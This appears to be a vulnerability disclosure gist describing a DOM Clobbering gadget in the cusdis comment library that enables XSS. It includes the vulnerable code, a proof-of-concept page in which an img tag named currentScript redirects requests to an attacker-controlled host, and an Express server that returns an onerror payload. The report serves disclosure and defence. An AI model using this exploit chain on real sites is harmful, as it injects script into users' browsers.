Skip to content

Instantly share code, notes, and snippets.

@jackfromeast
Last active March 3, 2025 02:23
Show Gist options
  • Select an option

  • Save jackfromeast/3dfce00e45960c5f0ea9ab2695248dc8 to your computer and use it in GitHub Desktop.

Select an option

Save jackfromeast/3dfce00e45960c5f0ea9ab2695248dc8 to your computer and use it in GitHub Desktop.
DOM Clobbering Gadget found in cusdis that leads to XSS

Hi, MITRE Security team!

Summary

I have discovered a DOM Clobbering vulnerability in the cusdis package. The DOM Clobbering gadget in the module can lead to cross-site scripting (XSS) in web pages where scriptless attacker-controlled HTML elements (e.g., an img tag with an unsanitized name attribute) are present.

Note that, we have found similar issues in the other popular client-side libraries for building websites, including Webpack (CVE-2024-43788), Vite (CVE-2024-45812), and layui (CVE-2024-47075), which might be good references to this kind of vulnerability.

Details

Backgrounds

DOM Clobbering is a type of code-reuse attack where the attacker first embeds a piece of non-script, seemingly benign HTML markups in the webpage (e.g. through a post or comment) and leverages the gadgets (pieces of js code) living in the existing javascript code to transform it into executable code. More for information about DOM Clobbering, here are some references:

[1] https://scnps.co/papers/sp23_domclob.pdf
[2] https://research.securitum.com/xss-in-amp4email-dom-clobbering/

DOM Clobbering Gadgets found in cusdis

The cusdis library is a comment system that can be embedded to arbitrary web applications for collect/show comments. However, it uses the following code snippet to retrieve the comment count from the server and render it on the front end.

async function n() {
  const e = document.currentScript || document.querySelector("#for-testing")
    , {appId: n, host: r} = e.dataset
    , a = r || "https://cusdis.com"
    , o = document.querySelectorAll("*[data-cusdis-count-page-id]")
    , i = Array.from(o).map((e => e.dataset.cusdisCountPageId))
    , s = await t.get(`${a}/api/open/project/${n}/comments/count`, {
      params: {
          pageIds: i
      }
  });
  Array.from(o).forEach((e => {
      e.innerHTML = s.data.data[e.dataset.cusdisCountPageId]
  }
  ))
}

However, the document.currentScript lookup can be shadowed by an attacker injected non-script HTML elements (e.g., ) via the browser's named DOM access mechanism. This manipulation allows an attacker to replace the intended script elements with an attacker-controlled scriptless HTML elements. That said, the GET request will send to the attacker-controlled domain and the value from the response will be set the .innerHTML of e element, leading to XSS attack.

PoC

<html>
<body>
  <!--payload-->
  <img name="currentScript" data-host="http://attacker.controlled.com">
  <!--payload-->
  <span data-cusdis-count-page-id="XXX-YYY-ZZZ">0</span> comments
  <div id="cusdis_thread"
    data-host="https://cusdis.com"
    data-app-id="c157400c-80eb-4dca-acc7-3cd342adfb22"
    data-page-id="XXX-YYY-ZZZ"
    data-page-url="XXX"
    data-page-title="XXX"></div>
  </div>
  <script async defer src="https://cusdis.com/js/cusdis.es.js"></script>
  <script defer data-host="https://cusdis.com" data-app-id="c157400c-80eb-4dca-acc7-3cd342adfb22" src="https://cusdis.com/js/cusdis-count.umd.js"></script>
</body>
</html>

An attacker can setup the server like:

const express = require('express');
const path = require('path');
const app = express();
const port = 9999;

app.use((req, res, next) => {
  res.setHeader('Access-Control-Allow-Origin', '*');
  res.setHeader('Access-Control-Allow-Headers', 'Content-Type');
  res.setHeader('Content-Type', 'application/javascript');
  next();
});

app.get('/api/open/project/:appId/comments/count', (req, res) => {
  const data = {
    "XXX-YYY-ZZZ": "<img src=0 onerror=alert(1)>"
  };
  res.json({ data: data });
});


app.listen(port, () => {
  console.log(`Attacker Server listening on http://localhost:${port}`);
});

Impact

This vulnerability can result in cross-site scripting (XSS) attacks on websites that integrate cusdis and allow users to inject certain scriptless HTML tags without properly sanitizing the dataset attributes.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment